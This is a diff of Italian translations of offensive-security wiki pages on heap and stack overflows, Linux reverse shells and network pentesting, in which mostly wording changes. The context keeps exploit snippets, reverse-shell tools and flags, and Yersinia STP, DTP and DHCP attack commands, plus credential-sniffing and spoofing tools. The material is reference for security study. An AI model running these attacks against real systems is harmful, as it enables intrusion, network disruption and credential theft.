-[**In questa pagina**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) è possibile trovare un'emulazione di base di Heap overflow che mostra come sovrascrivere il bit prev in uso del chunk successivo e la posizione della dimensione prev è possibile **consolidare un chunk utilizzato** (facendolo pensare non utilizzato) e **poi allocarlo di nuovo** potendo sovrascrivere dati che vengono utilizzati in un puntatore diverso.
+[**In questa pagina**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) è possibile trovare un'emulazione di base di Heap overflow che mostra come sovrascrivere il bit prev in use del chunk successivo e la posizione della dimensione prev consente di **consolidare un chunk utilizzato** (facendolo pensare non utilizzato) e **poi allocarlo di nuovo** potendo sovrascrivere dati che vengono utilizzati in un puntatore diverso.

 Un altro esempio da [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra un esempio molto basilare di un CTF in cui un **heap overflow** può essere abusato per chiamare la funzione vincitrice per **ottenere la flag**.

@ -35,7 +35,7 @@ Nell'esempio [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overf

 ### Esempio ARM64

-Nella pagina [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puoi trovare un esempio di heap overflow dove un comando che verrà eseguito è memorizzato nel chunk successivo al chunk sovrascritto. Quindi, è possibile modificare il comando eseguito sovrascrivendolo con un exploit semplice come:
+Nella pagina [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) puoi trovare un esempio di heap overflow dove un comando che verrà eseguito è memorizzato nel chunk successivo rispetto al chunk sovrascritto. Quindi, è possibile modificare il comando eseguito sovrascrivendolo con un exploit semplice come:
 ```bash
 python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 ```
@ -47,7 +47,7 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt

 ### Esempio del Mondo Reale: CVE-2025-40597 – Uso improprio di `__sprintf_chk`

-Nel firmware 10.2.1.15 di SonicWall SMA100, il modulo reverse-proxy `mod_httprp.so` alloca un chunk heap di **0x80-byte** e poi concatena diverse stringhe al suo interno con `__sprintf_chk`:
+Nel firmware 10.2.1.15 di SonicWall SMA100, il modulo reverse-proxy `mod_httprp.so` alloca un chunk heap di **0x80 byte** e poi concatena diverse stringhe al suo interno con `__sprintf_chk`:
 ```c
 char *buf = calloc(0x80, 1);
 /* … */
@ -71,7 +71,7 @@ verify=False
 ```
 L'exploitation pratica richiederebbe **heap grooming** per posizionare un oggetto controllabile subito dopo il chunk vulnerabile, ma la causa principale evidenzia due importanti insegnamenti:

-1. **_FORTIFY_SOURCE non è una soluzione miracolosa** – l'uso improprio può annullare la protezione.
+1. **_FORTIFY_SOURCE non è una soluzione miracolosa** – un uso improprio può annullare la protezione.
 2. Passa sempre la **dimensione corretta del buffer** alla famiglia `_chk` (o, ancora meglio, usa `snprintf`).

 ## Riferimenti
--- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
+++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md
@ -46,7 +46,7 @@ d = malloc(20);   // a

 Dalla glibc 2.26, ogni thread mantiene il proprio **tcache** che viene interrogato *prima* del bin non ordinato. Pertanto, uno scenario di first-fit sarà **raggiunto solo se**:

-1. La dimensione richiesta è **maggiore di `tcache_max`** (0x420 su 64-bit per impostazione predefinita), *oppure*
+1. La dimensione richiesta è **maggiore di `tcache_max`** (0x420 su 64 bit per impostazione predefinita), *oppure*
 2. Il corrispondente bin tcache è **già pieno o svuotato manualmente** (allocando 7 elementi e mantenendoli in uso).

 Negli exploit reali di solito aggiungerai una routine di supporto come:
@ -98,15 +98,15 @@ Ricetta di sfruttamento (comune nei recenti CTF):
 4. **Alloca** di nuovo – la parte rimanente si sovrappone con un chunk esistente in uso → UAF.
 5. Sovrascrivi campi sensibili (puntatori a funzioni, vtable di FILE, ecc.)

-Un'applicazione pratica può essere trovata nella sfida *Setjmp* delle HITCON Quals 2024 dove questo esatto primitivo è usato per passare da un UAF a un controllo completo di `__free_hook`.{{#ref}}
+Un'applicazione pratica può essere trovata nella sfida *Setjmp* delle Quals HITCON 2024 dove questo esatto primitivo è usato per passare da un UAF a un controllo completo di `__free_hook`.{{#ref}}
 ../../../../references/2024_setjmp_firstfit.md
 {{#endref}}

 ---
 ### 🛡️  Mitigazioni & Indurimento

-* **Safe-linking (glibc ≥ 2.32)** protegge solo le liste *tcache*/**fastbin** a collegamento singolo. I bin non ordinati/piccoli/grandi continuano a memorizzare puntatori raw, quindi sovrapposizioni basate su first-fit rimangono valide se riesci a ottenere una leak del heap.
-* **Crittografia dei puntatori del heap & MTE** (ARM64) non influenzano ancora glibc x86-64, ma i flag di indurimento della distribuzione come `GLIBC_TUNABLES=glibc.malloc.check=3` abortiranno su metadati inconsistenti e possono rompere PoC naive.
+* **Safe-linking (glibc ≥ 2.32)** protegge solo le liste *tcache*/**fastbin** collegate singolarmente. I bin non ordinati/piccoli/grandi continuano a memorizzare puntatori raw, quindi sovrapposizioni basate su first-fit rimangono valide se riesci a ottenere una leak dell'heap.
+* **Crittografia dei puntatori dell'heap & MTE** (ARM64) non influenzano ancora glibc x86-64, ma i flag di indurimento della distribuzione come `GLIBC_TUNABLES=glibc.malloc.check=3` abortiranno su metadati inconsistenti e possono rompere PoC naive.
 * **Riempimento del tcache alla liberazione** (proposto nel 2024 per glibc 2.41) ridurrebbe ulteriormente l'uso non ordinato; monitora le future versioni durante lo sviluppo di exploit generici.

 ---
@ -122,7 +122,7 @@ Un'applicazione pratica può essere trovata nella sfida *Setjmp* delle HITCON Qu
 - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
 - È possibile allocare della memoria, scrivere il valore desiderato, liberarlo, riallocarlo e poiché i dati precedenti sono ancora lì, verrà trattato secondo la nuova struttura prevista nel chunk rendendo possibile impostare il valore per ottenere il flag.
 - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo aver forzato la liberazione di tutti). In ogni nuovo chunk allocato, il suo numero nell'indice dell'array è memorizzato. Poi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 all'interno, liberali e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 all'interno.
+- In questo caso è necessario scrivere 4 all'interno di un chunk specifico che è il primo ad essere allocato (anche dopo aver forzato la liberazione di tutti). Ad ogni nuovo chunk allocato, il suo numero nell'indice dell'array è memorizzato. Poi, allocare 4 chunk (+ quello inizialmente allocato), l'ultimo avrà 4 all'interno, liberali e forzare la riallocazione del primo, che utilizzerà l'ultimo chunk liberato che è quello con 4 all'interno.
 - 2024 HITCON Quals Setjmp write-up (Quarkslab) – attacco pratico di sovrapposizione first-fit / unsorted-split: <https://ctftime.org/writeup/39355>
 - Angstrom CTF 2024 *heapify* write-up – abusare della divisione del bin non ordinato per leak libc e ottenere sovrapposizione: <https://hackmd.io/@aneii11/H1S2snV40>

--- a/src/binary-exploitation/stack-overflow/README.md
+++ b/src/binary-exploitation/stack-overflow/README.md
@ -8,7 +8,7 @@ Un **stack overflow** è una vulnerabilità che si verifica quando un programma

 Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**.

-La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo quindi a sovrascrivere altre parti dello stack.
+La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo così a sovrascrivere altre parti dello stack.

 Alcune funzioni comuni vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read` & `memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere utilizzate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.

@ -23,9 +23,9 @@ printf("You entered: %s\n", buffer);
 ```
 ### Trovare gli offset degli Stack Overflow

-Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**.
+Il modo più comune per trovare gli stack overflow è fornire un input molto grande di `A`s (ad es. `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**.

-Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua.
+Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non è possibile **sovrascrivere l'indirizzo di ritorno**, per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua.

 In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo.

@ -81,7 +81,7 @@ Questa tecnica è il framework fondamentale per bypassare la principale protezio

 ## Heap Overflows

-Un overflow non sarà sempre nello stack, potrebbe anche essere nell'**heap**, ad esempio:
+Un overflow non sarà sempre nello stack, potrebbe anche essere nell'**heap**, per esempio:

 {{#ref}}
 ../libc-heap/heap-overflow.md
--- a/src/generic-hacking/reverse-shells/linux.md
+++ b/src/generic-hacking/reverse-shells/linux.md
@ -79,7 +79,7 @@ E poi, puoi eseguire:
 ```shell
 toboggan -m nix.py -i
 ```
-Per sfruttare direttamente una shell interattiva. Puoi aggiungere `-b` per l'integrazione con Burpsuite e rimuovere il `-i` per un wrapper RCE più basilare.
+Per sfruttare direttamente una shell interattiva. Puoi aggiungere `-b` per l'integrazione con Burpsuite e rimuovere il `-i` per un wrapper rce più basilare.

 Un'altra possibilità consiste nell'utilizzare l'implementazione della shell forward di `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).

@ -89,7 +89,7 @@ Devi solo modificare:
 - Il prefisso e il suffisso del tuo payload (se presenti)
 - Il modo in cui il payload viene inviato (headers? dati? informazioni extra?)

-Poi, puoi semplicemente **inviare comandi** o persino **usare il comando `upgrade`** per ottenere un PTY completo (nota che i pipe vengono letti e scritti con un ritardo approssimativo di 1,3 secondi).
+Poi, puoi semplicemente **inviare comandi** o anche **usare il comando `upgrade`** per ottenere un PTY completo (nota che le pipe vengono lette e scritte con un ritardo approssimativo di 1,3 secondi).

 ## Netcat
 ```bash
@ -241,7 +241,7 @@ Features:
 - `-s` per avviare qualsiasi binario (ad es. `/bin/sh`, `python3`) sulla vittima
 - `--up` per aggiornare automaticamente a un PTY completamente interattivo

-## revsh (crittografato e pronto per il pivoting)
+## revsh (pronto per la crittografia e il pivoting)

 `revsh` è un piccolo client/server C che fornisce un TTY completo su un **tunnel Diffie-Hellman crittografato** e può opzionalmente allegare un'interfaccia **TUN/TAP** per il pivoting simile a una VPN inversa.
 ```bash
@ -256,7 +256,7 @@ revsh -c 0.0.0.0:443 -key key.pem -cert cert.pem
 ```
 Utili flag:
 - `-b` : bind-shell invece di reverse
- `-p socks5://127.0.0.1:9050` : proxy tramite TOR/HTTP/SOCKS
+- `-p socks5://127.0.0.1:9050` : proxy attraverso TOR/HTTP/SOCKS
 - `-t` : crea un'interfaccia TUN (reverse VPN)

 Poiché l'intera sessione è crittografata e multiplexata, spesso bypassa il semplice filtraggio in uscita che ucciderebbe una shell in testo semplice `/dev/tcp`.
--- a/src/generic-methodologies-and-resources/pentesting-network/README.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/README.md
@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
 ```
 ### TCP Port Discovery

-È molto comune scoprire che tutti i tipi di pacchetti ICMP vengono filtrati. Quindi, tutto ciò che puoi fare per verificare se un host è attivo è **cercare porte aperte**. Ogni host ha **65535 porte**, quindi, se hai un ambito "grande", **non puoi** testare se **ogni porta** di ogni host è aperta o meno, ci vorrebbe troppo tempo.\
+È molto comune scoprire che tutti i tipi di pacchetti ICMP vengono filtrati. Quindi, tutto ciò che puoi fare per controllare se un host è attivo è **cercare porte aperte**. Ogni host ha **65535 porte**, quindi, se hai un ambito "grande", **non puoi** testare se **ogni porta** di ogni host è aperta o meno, ci vorrebbe troppo tempo.\
 Quindi, ciò di cui hai bisogno è uno **scanner di porte veloce** ([masscan](https://github.com/robertdavidgraham/masscan)) e un elenco delle **porte più utilizzate:**
 ```bash
 #Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
@ -43,7 +43,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
 # The -sV will make nmap test each possible known UDP service packet
 # The "--version-intensity 0" will make nmap only test the most probable
 ```
-La riga nmap proposta prima testerà i **top 1000 UDP ports** in ogni host all'interno dell'**/24** range, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi usare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Questo invierà questi **UDP probes** al loro **expected port** (per un range /24 ci vorrà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
+La riga nmap proposta in precedenza testerà i **top 1000 UDP ports** in ogni host all'interno dell'**intervallo /24**, ma anche solo questo richiederà **>20min**. Se hai bisogno di **risultati più rapidi**, puoi utilizzare [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Questo invierà questi **UDP probes** al loro **port previsto** (per un intervallo /24 richiederà solo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._

 ### SCTP Port Discovery
 ```bash
@ -75,7 +75,7 @@ set net.show.meta true #more info
 ```
 ### Attivo

-Nota che le tecniche commentate in [_**Scoprire host dall'esterno**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) possono essere **applicate anche qui**.\
+Nota che le tecniche commentate in [_**Scoprire host dall'esterno**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) possono essere **applicate qui**.\
 Ma, poiché sei nella **stessa rete** degli altri host, puoi fare **più cose**:
 ```bash
 #ARP discovery
@ -182,7 +182,7 @@ nmap-summary-esp.md

 ### Rivelare indirizzi IP interni

-**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un Firewall, tali pacchetti potrebbero essere filtrati.
+**Router, firewall e dispositivi di rete mal configurati** a volte rispondono a probe di rete utilizzando **indirizzi sorgente non pubblici**. **tcpdump** può essere utilizzato per identificare i pacchetti ricevuti da indirizzi privati durante i test. In particolare, su Kali Linux, i pacchetti possono essere catturati sull'**interfaccia eth2**, che è accessibile da Internet pubblico. È importante notare che se la tua configurazione è dietro un NAT o un firewall, tali pacchetti potrebbero essere filtrati.
 ```bash
 tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
 ```
 ## Sniffing

-Con lo sniffing puoi apprendere dettagli su intervalli IP, dimensioni delle subnet, indirizzi MAC e nomi host esaminando i frame e i pacchetti catturati. Se la rete è mal configurata o il fabric di switching è sotto stress, gli attaccanti possono catturare materiale sensibile tramite sniffing di rete passivo.
+Con lo sniffing puoi apprendere dettagli sugli intervalli IP, le dimensioni delle subnet, gli indirizzi MAC e i nomi host esaminando i frame e i pacchetti catturati. Se la rete è mal configurata o il fabric di switching è sotto stress, gli attaccanti possono catturare materiale sensibile tramite sniffing di rete passivo.

 Se una rete Ethernet switchata è configurata correttamente, vedrai solo frame di broadcast e materiale destinato al tuo indirizzo MAC.

@ -220,9 +220,9 @@ set net.sniff.regexp #If set only packets matching this regex will be considered

 Ovviamente.

-### Cattura delle credenziali
+### Catturare credenziali

-Puoi utilizzare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.
+Puoi usare strumenti come [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) per analizzare le credenziali da un pcap o da un'interfaccia live.

 ## Attacchi LAN

@ -260,7 +260,7 @@ Il **Dynamic Trunking Protocol (DTP)** è progettato come un protocollo di livel

 Per impostazione predefinita, le porte dello switch sono impostate per operare in modalità Dynamic Auto, il che significa che sono pronte a iniziare il trunking se sollecitate da uno switch vicino. Un problema di sicurezza si presenta quando un pentester o un attaccante si connette allo switch e invia un frame DTP Desirable, costringendo la porta a entrare in modalità trunk. Questa azione consente all'attaccante di enumerare le VLAN attraverso l'analisi dei frame STP e di eludere la segmentazione delle VLAN configurando interfacce virtuali.

-La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, ottenendo così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch.
+La presenza di DTP in molti switch per impostazione predefinita può essere sfruttata dagli avversari per imitare il comportamento di uno switch, guadagnando così accesso al traffico su tutte le VLAN. Lo script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) è utilizzato per monitorare un'interfaccia, rivelando se uno switch è in modalità Default, Trunk, Dynamic, Auto o Access—quest'ultima essendo l'unica configurazione immune agli attacchi di VLAN hopping. Questo strumento valuta lo stato di vulnerabilità dello switch.

 Se viene identificata una vulnerabilità di rete, lo strumento _**Yersinia**_ può essere impiegato per "abilitare il trunking" tramite il protocollo DTP, consentendo l'osservazione dei pacchetti da tutte le VLAN.
 ```bash
@ -327,7 +327,7 @@ L'attacco discusso di **Dynamic Trunking e creazione di interfacce virtuali per

 #### Double Tagging

-Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppiare un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare tramite UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).
+Se un attaccante conosce il valore del **MAC, IP e VLAN ID dell'host vittima**, potrebbe provare a **doppio taggare un frame** con il suo VLAN designato e il VLAN della vittima e inviare un pacchetto. Poiché la **vittima non sarà in grado di connettersi di nuovo** con l'attaccante, quindi la **migliore opzione per l'attaccante è comunicare via UDP** a protocolli che possono eseguire alcune azioni interessanti (come SNMP).

 Un'altra opzione per l'attaccante è lanciare una **scansione delle porte TCP spoofando un IP controllato dall'attaccante e accessibile dalla vittima** (probabilmente tramite internet). Poi, l'attaccante potrebbe sniffare nel secondo host di sua proprietà se riceve alcuni pacchetti dalla vittima.

@ -371,13 +371,13 @@ Il VTP (VLAN Trunking Protocol) centralizza la gestione delle VLAN. Utilizza num

 #### Tipi di Annunci VTP

- **Annuncio di Riepilogo:** Trasmetto dal server VTP ogni 300 secondi, contenente informazioni essenziali sul dominio.
+- **Annuncio di Riepilogo:** Trasmetto dal server VTP ogni 300 secondi, portando informazioni essenziali sul dominio.
 - **Annuncio di Sottoinsieme:** Inviato dopo le modifiche alla configurazione delle VLAN.
 - **Richiesta di Annuncio:** Emessa da un client VTP per richiedere un Annuncio di Riepilogo, tipicamente in risposta alla rilevazione di un numero di revisione di configurazione più elevato.

 Le vulnerabilità VTP sono sfruttabili esclusivamente tramite porte trunk poiché gli annunci VTP circolano solo attraverso di esse. Gli scenari post-attacco DTP potrebbero spostarsi verso VTP. Strumenti come Yersinia possono facilitare attacchi VTP, mirando a cancellare il database VLAN, interrompendo efficacemente la rete.

-Nota: Questa discussione si riferisce alla versione 1 di VTP (VTPv1).
+Nota: Questa discussione riguarda la versione 1 di VTP (VTPv1).
 ````bash
 %% yersinia -G # Launch Yersinia in graphical mode ```
 ````
@ -397,7 +397,7 @@ yersinia stp -attack 3
 ```
 #### **Attacco STP TCP**

-Quando viene inviato un TCP, la tabella CAM degli switch verrà cancellata in 15 secondi. Poi, se stai inviando continuamente questo tipo di pacchetti, la tabella CAM verrà riavviata continuamente (o ogni 15 secondi) e quando viene riavviata, lo switch si comporta come un hub.
+Quando viene inviato un TCP, la tabella CAM degli switch verrà cancellata in 15s. Poi, se stai inviando continuamente questo tipo di pacchetti, la tabella CAM verrà riavviata continuamente (o ogni 15 secondi) e quando viene riavviata, lo switch si comporta come un hub.
 ```bash
 yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
 yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
@ -405,7 +405,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
 #### **Attacco STP Root**

 L'attaccante simula il comportamento di uno switch per diventare il root STP della rete. Poi, più dati passeranno attraverso di lui. Questo è interessante quando sei connesso a due switch diversi.\
-Questo viene fatto inviando pacchetti BPDUs CONF che affermano che il valore di **priorità** è inferiore alla priorità attuale dello switch root effettivo.
+Questo viene fatto inviando pacchetti BPDUs CONF dicendo che il valore di **priorità** è inferiore alla priorità attuale dello switch root effettivo.
 ```bash
 yersinia stp -attack 4 #Behaves like the root switch
 yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
@ -492,14 +492,14 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
 **Due tipi di DoS** possono essere eseguiti contro i server DHCP. Il primo consiste nel **simulare un numero sufficiente di host falsi per utilizzare tutti gli indirizzi IP possibili**.\
 Questo attacco funzionerà solo se puoi vedere le risposte del server DHCP e completare il protocollo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Ad esempio, questo **non è possibile nelle reti Wifi**.

-Un altro modo per eseguire un DoS DHCP è inviare un **pacchetto DHCP-RELEASE utilizzando come codice sorgente ogni possibile IP**. Allora, il server penserà che tutti abbiano finito di utilizzare l'IP.
+Un altro modo per eseguire un DoS DHCP è inviare un **pacchetto DHCP-RELEASE utilizzando come codice sorgente ogni possibile IP**. In questo modo, il server penserà che tutti abbiano finito di utilizzare l'IP.
 ```bash
 yersinia dhcp -attack 1
 yersinia dhcp -attack 3 #More parameters are needed
 ```
 Un modo più automatico per farlo è utilizzare lo strumento [DHCPing](https://github.com/kamorin/DHCPig)

-Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non responsivi. Quindi, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**.
+Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non responsivi. Così, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**.

 #### Imposta valori malevoli

@ -558,7 +558,7 @@ Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'auten

 ### Attacchi EIGRP

-**EIGRP (Enhanced Interior Gateway Routing Protocol)** è un protocollo di routing dinamico. **È un protocollo a vettore di distanza.** Se non c'è **autenticazione** e configurazione di interfacce passive, un **intruso** può interferire con il routing EIGRP e causare **avvelenamento delle tabelle di routing**. Inoltre, la rete EIGRP (in altre parole, il sistema autonomo) **è piatta e non ha segmentazione in zone**. Se un **attaccante inietta una rotta**, è probabile che questa rotta si **diffonda** in tutto il sistema EIGRP autonomo.
+**EIGRP (Enhanced Interior Gateway Routing Protocol)** è un protocollo di routing dinamico. **È un protocollo a vettore di distanza.** Se non c'è **autenticazione** e configurazione di interfacce passive, un **intruso** può interferire con il routing EIGRP e causare **avvelenamento delle tabelle di routing**. Inoltre, la rete EIGRP (in altre parole, il sistema autonomo) **è piatta e non ha segmentazione in zone**. Se un **attaccante inietta una rotta**, è probabile che questa rotta **si diffonda** in tutto il sistema EIGRP autonomo.

 Attaccare un sistema EIGRP richiede **stabilire un vicinato con un router EIGRP legittimo**, il che apre molte possibilità, dalla ricognizione di base a varie iniezioni.

@ -574,9 +574,9 @@ eigrp-attacks.md

 Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_.

- **Cattura e decifratura degli hash MD5:** Strumenti come Loki e John the Ripper sono utilizzati a questo scopo.
- **Configurazione dei parametri della rotta:** Questo avviene tramite la scheda _Injection_.
- **Impostazione della chiave compromessa:** La chiave è configurata sotto la scheda _Connection_.
+- **Cattura e Decifratura degli Hash MD5:** Strumenti come Loki e John the Ripper sono utilizzati a questo scopo.
+- **Configurazione dei Parametri della Rotta:** Questo avviene tramite la scheda _Injection_.
+- **Impostazione della Chiave Compromessa:** La chiave è configurata sotto la scheda _Connection_.

 ### Altri Strumenti e Fonti Generiche

@ -635,7 +635,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
 ```
 ### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)

-Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **zero-configuration** di Linux utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, trasmettendo messaggi, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.
+Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **Linux zero-configuration** utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, trasmettendo messaggi, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti a servizi malevoli.

 Puoi impersonare servizi che vengono cercati dagli host utilizzando Responder per inviare risposte false.\
 Leggi qui ulteriori informazioni su [come impersonare servizi con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
@ -648,7 +648,7 @@ I browser utilizzano comunemente il **protocollo Web Proxy Auto-Discovery (WPAD)
 - Tramite **DNS**, che comporta la ricerca di un nome host etichettato _wpad_ all'interno del dominio locale.
 - Via **Microsoft LLMNR e NBT-NS**, che sono meccanismi di fallback utilizzati nei casi in cui le ricerche DNS non hanno successo.

-Lo strumento Responder sfrutta questo protocollo agendo come un **server WPAD malevolo**. Utilizza DHCP, DNS, LLMNR e NBT-NS per ingannare i client e farli connettere a esso. Per approfondire come i servizi possono essere impersonati utilizzando Responder [controlla questo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
+Lo strumento Responder sfrutta questo protocollo agendo come un **server WPAD malevolo**. Utilizza DHCP, DNS, LLMNR e NBT-NS per ingannare i client facendoli connettere a esso. Per approfondire come i servizi possono essere impersonati utilizzando Responder [controlla questo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

 ### [Spoofing SSDP e dispositivi UPnP](spoofing-ssdp-and-upnp-devices.md)

@ -663,7 +663,7 @@ sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neigh
 ```
 ### IPv6 Router Advertisement Spoofing/Flooding

